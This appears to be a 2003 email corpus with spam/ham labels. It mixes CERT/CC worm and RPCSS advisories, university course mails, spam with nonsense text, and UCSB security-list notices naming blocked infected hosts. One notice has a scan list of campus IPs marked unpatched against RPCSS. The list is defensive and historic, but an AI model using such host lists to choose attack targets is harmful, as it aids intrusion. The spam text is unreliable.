11, the CERT/CC released an advisory on W32/Blaster. We also released step-by-step recovery tips for W32/Blaster. CERT Advisory CA-2003-20 W32/Blaster Worm http://www.cert.org/advisories/CA-2003-20.html W32/Blaster Recovery tips http://www.cert.org/tech_tips/w32_blaster.html b. W32/Welchia Additionally, a worm was reported that attempted to exploit the same vulnerability as W32/Blaster. This worm, known alternately as 'W32/Welchia', 'W32/Nachi', or 'WORM_MS_BLAST.D', has been reported to kill and remove the msblast.exe artifact left behind by W32/Blaster, perform ICMP scanning to identify systems to target for exploitation, apply the patch from Microsoft (described in MS03-026), and reboot the system. The greatest impact of this worm appears to be the potential for denial-of-service conditions within an organization due to high levels of ICMP traffic. 3. Cisco IOS Interface Blocked by IPv4 Packet On July 16, the CERT/CC reported on a vulnerability in many versions of Cisco IOS that could allow an intruder to execute a denial-of-service attack against a vulnerable device. We also released a companion Vulnerability Note on the same topic. CERT Advisory CA-2003-15 Cisco IOS Interface Blocked by IPv4 Packet http://www.cert.org/advisories/CA-2003-15.html Vulnerability Note VU#411332 Cisco IOS Interface Blocked by IPv4 Packet http://www.kb.cert.org/vuls/id/411332 Two days later we released an advisory which provided information about the availability of a public exploit for the Cisco IOS vulnerability. CERT Advisory CA-2003-17 Exploit available for the Cisco IOS Interface Blocked Vulnerabilities http://www.cert.org/advisories/CA-2003-17.html 4. Vulnerabilities in Microsoft Windows Libraries and Internet Explorer During this quarter, there were a number of vulnerabilities reported in Microsoft Windows Libraries and within Internet Explorer. Below is a summary of those vulnerabilities. a. Buffer Overflow in Microsoft Windows HTML Conversion Library A buffer overflow vulnerability exists in a shared HTML conversion library included in Microsoft Windows. An attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service. On July 14, the CERT/CC issued an advisory describing this vulnerability. CERT Advisory CA-2003-14 Buffer Overflow in Microsoft Windows HTML Conversion Library http://www.cert.org/advisories/CA-2003-14.html Vulnerability Note VU#823260 Microsoft Windows HTML conversion library vulnerable to buffer overflow http://www.kb.cert.org/vuls/id/823260 b. Integer Overflows in Microsoft Windows DirectX MIDI Library A set of integer overflows exists in a DirectX library included in Microsoft Windows. An attacker could exploit these vulnerabilities to execute arbitrary code or to cause a denial of service. On July 25, the CERT/CC issued an advisory describing these vulnerabilities. CERT Advisory CA-2003-18 Integer Overflows in Microsoft Windows DirectX MIDI Library http://www.cert.org/advisories/CA-2003-18.html Vulnerability Note VU#561284 Microsoft Windows DirectX MIDI library does not adequately validate Text or Copyright parameters in MIDI files http://www.kb.cert.org/vuls/id/561284 Vulnerability Note VU#265232 Microsoft Windows DirectX MIDI library does not adequately validate MThd track values in MIDI files http://www.kb.cert.org/vuls/id/265232 c. Multiple Vulnerabilities in Microsoft Internet Explorer Microsoft Internet Explorer (IE) contains multiple vulnerabilities, the most serious of which could allow a remote attacker to execute arbitrary code with the privileges of the user running Internet Explorer. On August 26, the CERT/CC issued an advisory describing these vulnerabilities. CERT Advisory CA-2003-22 Multiple Vulnerabilities in Microsoft Internet Explorer http://www.cert.org/advisories/CA-2003-22.html Vulnerability Note VU#205148 Microsoft Internet Explorer does not properly evaluate Content-Type and Content-Disposition headers http://www.kb.cert.org/vuls/id/205148 Vulnerability Note VU#865940 Microsoft Internet Explorer does not properly evaluate ""application/hta"" MIME type referenced by DATA attribute of OBJECT element http://www.kb.cert.org/vuls/id/865940 Vulnerability Note VU#548964 Microsoft Windows BR549.DLL ActiveX control contains vulnerability http://www.kb.cert.org/vuls/id/548964 Vulnerability Note VU#813208 Internet Explorer does not properly render an input type tag http://www.kb.cert.org/vuls/id/813208 Vulnerability Note VU#334928 Microsoft Internet Explorer contains buffer overflow in Type attribute of OBJECT element on double-byte character set systems http://www.kb.cert.org/vuls/id/334928 5. Malicious Code Propagation and Antivirus Software Updates Recent reports to the CERT/CC have highlighted that the speed at which viruses are spreading is increasing and that users who were compromised may have been under the incorrect impression that merely having antivirus software installed was enough to protect them from all malicious code attacks. On July 14, the CERT/CC issued an Incident Note describing this trend. CERT Incident Note IN-2003-01 Malicious Code Propagation and Antivirus Software Updates http://www.cert.org/incident_notes/IN-2003-01.html ______________________________________________________________________ New CERT Coordination Center (CERT/CC) PGP Key On September 5, the CERT/CC issued a new PGP key, which should be used when sending sensitive information to the CERT/CC. CERT/CC PGP Public Key https://www.cert.org/pgp/cert_pgp_key.asc Sending Sensitive Information to the CERT/CC https://www.cert.org/contact_cert/encryptmail.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new and updated * Advisories http://www.cert.org/advisories/ * Vulnerability Notes http://www.kb.cert.org/vuls * CERT/CC Statistics http://www.cert.org/stats/cert_stats.html * Congressional Testimony http://www.cert.org/congressional_testimony * Incident Handling Certification http://www.cert.org/certification/ * Training Schedule http:/www.cert.org/training/ ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2003-03.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2003 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP1zEHzpmH2w9K/0VAQEqXAP9FHdMZvoEMC4aLxZzP+e52RhSh6p9rzZ2 W+p3aBh6VOsf1mqpDnlJSZy2kydOLzTwklMm4ESxeSER81TfdbKUIgr7pfzNANn8 4DhrXxUZwcc1+5TWY6/LejrrCjZ2OpK9UxkjDSJKMEcrLqIhaEUL3Vr24iTvNliR JKkslK9BDGk= =w9dI -----END PGP SIGNATURE----- ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA00989 for ; Mon, 8 Sep 2003 15:56:46 -0700 (PDT) Received: (from lap@localhost) by charm.physics.ucsb.edu (8.9.3/8.9.3) id PAA05070 for lap@neutrino.physics.ucsb.edu; Mon, 8 Sep 2003 15:56:46 -0700 Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA05067 for ; Mon, 8 Sep 2003 15:56:46 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19wUHk-000GKe-4J; Mon, 08 Sep 2003 15:15:00 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19wUHi-000GKT-1L; Mon, 08 Sep 2003 15:14:58 -0700 Received: from splat.oit.ucsb.edu ([128.111.12.20]) by smtp.ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19wUHh-000GKP-TN; Mon, 08 Sep 2003 15:14:57 -0700 Date: Mon, 8 Sep 2003 15:14:57 -0700 From: Kevin Schmidt To: csf@ucsb.edu, netman@ucsb.edu Message-Id: <20030908151457.0fee2471.kps@ucsb.edu> Organization: UC Santa Barbara X-Mailer: Sylpheed version 0.9.3claws (GTK+ 1.2.10; i386-portbld-freebsd4.8) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: noc@ucsb.edu Subject: [CSF] Filter list X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19wUHk-000GKe-4J*SYtN8hHf6bI* Mon Sep 8 15:14:10 PDT 2003 Kevin Schmidt kps@ucsb.edu Campus Network Programmer (805) 893-7779 Office of Information Technology (805) 893-5051 FAX University of California, Santa Barbara North Hall 2124 Santa Barbara, CA 93106-3201 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.30.173 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.39.175 SM39175.resnet.ucsb.edu 128.111.74.107 enmt-2122.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.122 liu.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.50 badger.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.151 ghoti.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.87.13 128.111.88.199 garcia-laptop.math.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.168.79 newreg.ucen.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.220.94 dhcp94.nceas.ucsb.edu 128.111.221.19 odissi.mat.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Lesley & Darin ,Gabriel ,"Mon, 08 Sep 2003 13:24:34 -0800",Donny is crazy about this website,"Good day Gabriel, Donny is crazy about this website http://cemfbz.swiss-qualiti.com this Joy Rosales are detent Gabriel claus do, you trefoil blend do do catlike Gabriel MERGE_GROUP_13 on coal MERGE_GROUP_13 are rote beriberi they alb. ",1,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 09 Sep 2003 11:31:32 -0500",reading assignments," CS352h-ers, I wanted to remind you to check the course schedule page for reading assignments: http://www.cs.utexas.edu/users/skeckler/cs352h/schedule.html For Thursday, please skim Appendix A - this covers the MIPS instruction set and will be discussed in Thursday's lecture For next Tuesday, please read the rest of Chapter 3 (3.6-3.15). It shouldn't be too time consuming. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 10 Sep 2003 16:53:20 -0400",CERT Advisory CA-2003-23 RPCSS Vulnerabilities in Microsoft Windows ," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-23 RPCSS Vulnerabilities in Microsoft Windows Original release date: September 10, 2003 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Windows NT Workstation 4.0 * Microsoft Windows NT Server 4.0 * Microsoft Windows NT Server 4.0, Terminal Server Edition * Microsoft Windows 2000 * Microsoft Windows XP * Microsoft Windows Server 2003 Overview Microsoft has published a bulletin describing three vulnerabilities that affect numerous versions of Microsoft Windows. Two of these vulnerabilities are remotely exploitable buffer overflows that may allow an attacker to execute arbitrary code with system privileges. The third vulnerability may allow a remote attacker to cause a denial of service. I. Description The Microsoft RPCSS Service is responsible for managing Remote Procedure Call (RPC) messages. There are two buffer overflow vulnerabilities in the RPCSS service, which is enabled by default on many versions of Microsoft Windows. These buffer overflows occur in sections of code that handle DCOM activation messages sent to the RPCSS service. The CERT/CC is tracking these vulnerabilities as VU#483492 and VU#254236, which correspond to CVE candidates CAN-2003-0715 and CAN-2003-0528, respectively. The buffer overflows discussed in this advisory are different than those discussed in previous advisories. Microsoft has also published information regarding a denial-of-service vulnerability in the RPCSS service. This vulnerability only affects Microsoft Windows 2000 systems. The CERT/CC is tracking this vulnerability as VU#326746, which corresponds to CVE candidate CAN-2003-0605. This vulnerability was previously discussed in CA-2003-19. II. Impact By exploiting either of the buffer overflow vulnerabilities, remote attackers may be able to execute arbitrary code with Local System privileges. By exploiting the denial-of-service vulnerability, remote attackers may be able to disrupt the RPCSS service. This may result in general system instability and require a reboot. III. Solution Apply a patch from Microsoft Microsoft has published Microsoft Security Bulletin MS03-039 to address this vulnerability. For more information, please see http://www.microsoft.com/technet/security/bulletin/MS03-039.asp This bulletin supersedes MS03-026. Block traffic to and from common Microsoft RPC ports As an interim measure, users can reduce the chance of successful exploitation by blocking traffic to and from well-known Microsoft RPC ports, including * Port 135 (tcp/udp) * Port 137 (udp) * Port 138 (udp) * Port 139 (tcp) * Port 445 (tcp/udp) * Port 593 (tcp) To prevent compromised hosts from contacting other vulnerable hosts, the CERT/CC recommends that system administrators filter the ports listed above for both incoming and outgoing traffic. Disable COM Internet Services and RPC over HTTP COM Internet Services (CIS) is an optional component that allows RPC messages to be tunneled over HTTP ports 80 and 443. As an interim measure, sites that use CIS may wish to disable it as an alternative to blocking traffic to and from ports 80 and 443. Disable DCOM Disable DCOM as described in MS03-039 and Microsoft Knowledge Base Article 825750. _________________________________________________________________ This document was written by Jeffrey P. Lanza and is based upon the information in MS03-039. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-23.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History Sep 10, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP1+NqTpmH2w9K/0VAQHUbwP/aQ8osvAzy2BswiPOpLFoUhC4GIjdtXcx mGcVDXyVcu4v4pKym8+ojIrQhdWKwOt9ZL8+RSaq8IMjUgE11BX5zA1/1WZhkE7p hlu+HDTkDc5WvFrNqbChrC3gX2fgjI9hjx361SXuhgXAxI5nLz2of50pb+GxPWvA ZQJp4ymyuyI= =A+8F -----END PGP SIGNATURE----- ",0,1 shenggangw ,sma@calstatela.edu,"Fri, 12 Sep 2003 13:23:52 +0800",RE: holiday greetings ,"������: ��л�����ʺ�.���������Ұݶ���,����������.��ʱ��������æ�ڴ��¹�����Сѧ��ʦ����ѵ����Ŀ. ף������պ�! ��ʤ�� ----- Original Message ----- From:""Dr. Stephen Ma"" To:""shenggangw"" Subject:holiday greetings Date:Fri, 12 Sep 2003 02:09:38 +0800 > > > > > > >ʤ������: >  >ңף�������. ���±�����һƪר��.������. >  >�� > >  > >-------------------------------------------------- >Attachment: ma.jpg(image/jpeg, 402163 bytes) > >-------------------------------------------------- ______________________________________ China Study Center for International Educational Exchange CHINA EDUCATION ASSOCIATION FOR INTERNATIONAL EXCHANGE Ist F. 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Please submit these electronically before class on Tuesday. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Fri, 12 Sep 2003 14:38:58 -0500",office hours," CS352H-ers, Since the TTh at 11am slot was creating conflicts for many of you, I have moved the Thursday hours to Wednesday 3-4 (starting next week). I've updated this on the syllabus - see you then. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 Velasco Shirley ,"lance@uclink-store.berkeley.edu, kari@uclink-store.berkeley.edu, betty@uclink-store.berkeley.edu, veronica@uclink-store.berkeley.edu","Fri, 12 Sep 2003 15:44:00 -0500","wrinkles arrived, we can help","it's dorothea it chancel the barbiturate it patristic in crimson ",1,0 Erica595@aol.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Sat, 13 Sep 2003 00:03:15 -0400",(no subject),"Dear Professor: Just a short note to encourage you to get those class materials to The Copy Shop for the fast approaching fall term. As a norm, our prices are 10-20% less than the bookstore, and we offer the same copyright services. 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Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <74900000.1063650710@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19yy8g-0009Sz-3o*F9ET0H5aoig* Good Morning, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts, there are currently 71 of them: 128.111.9.125 128.111.9.126 128.111.9.211 128.111.9.241 128.111.29.20 128.111.30.173 128.111.34.65 128.111.35.220 128.111.37.189 128.111.37.250 128.111.38.194 128.111.38.214 128.111.74.158 128.111.74.249 128.111.75.244 128.111.75.248 128.111.77.36 128.111.77.77 128.111.77.79 128.111.77.82 128.111.78.195 128.111.79.35 128.111.82.13 128.111.82.14 128.111.82.129 128.111.82.132 128.111.82.133 128.111.83.43 128.111.83.134 128.111.83.137 128.111.83.242 128.111.103.21 128.111.104.155 128.111.106.15 128.111.106.121 128.111.106.163 128.111.108.54 128.111.108.108 128.111.108.128 128.111.108.158 128.111.108.193 128.111.120.25 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 128.111.165.27 128.111.182.190 128.111.182.224 128.111.182.234 128.111.182.235 128.111.182.241 128.111.182.246 128.111.182.248 128.111.185.27 128.111.220.126 128.111.221.19 128.111.221.26 128.111.224.44 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 128.111.248.9 128.111.248.143 128.111.248.149 128.111.248.169 128.111.248.191 128.111.253.142 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id KAA04464 for ; Tue, 16 Sep 2003 10:13:09 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id KAA29799 for ; Tue, 16 Sep 2003 10:13:08 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19zJO0-000InZ-F1; Tue, 16 Sep 2003 10:13:08 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19zJNw-000In4-ND; Tue, 16 Sep 2003 10:13:04 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 19zJNw-000In0-FZ; Tue, 16 Sep 2003 10:13:04 -0700 Date: Tue, 16 Sep 2003 10:13:04 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <27230000.1063732383@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19zJO0-000InZ-F1*g2Ne5gQap5Q* Good Morning, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. As an added ""bonus,"" I am now including a list hosts that are vulnerable from a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists ... *** Filtered Hosts *** 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.111.97 superman.bren.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.181.188 R181188.resnet.ucsb.edu 128.111.182.190 R182190.resnet.ucsb.edu 128.111.182.224 R182224.resnet.ucsb.edu 128.111.182.234 R182234.resnet.ucsb.edu 128.111.182.235 R182235.resnet.ucsb.edu 128.111.182.241 R182241.resnet.ucsb.edu 128.111.182.246 R182246.resnet.ucsb.edu 128.111.182.248 R182248.resnet.ucsb.edu 128.111.183.166 R183166.resnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.221.19 odissi.mat.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 128.111.248.143 SN248143.resnet.ucsb.edu 128.111.248.149 SN248149.resnet.ucsb.edu 128.111.248.169 SN248169.resnet.ucsb.edu 128.111.248.191 SN248191.resnet.ucsb.edu 128.111.248.9 SN2489.resnet.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.30.173 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.37.189 SR37189.resnet.ucsb.edu 128.111.37.250 SR37250.resnet.ucsb.edu 128.111.38.194 SR38194.resnet.ucsb.edu 128.111.38.214 SR38214.resnet.ucsb.edu 128.111.58.177 delhi.ece.ucsb.edu 128.111.72.160 ugl10.mee.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.75.244 MZ75244.resnet.ucsb.edu 128.111.75.248 MZ75248.resnet.ucsb.edu 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.79 superlady.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.94.30 host94-30.lsdepts.ucsb.edu 128.111.97.19 pubfloor4-002.library.ucsb.edu *** Unpatched hosts *** 128.111.102.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.12 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.102.4 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.8 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.29 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.47 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.14 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.172 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.77 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.101 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.2 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, 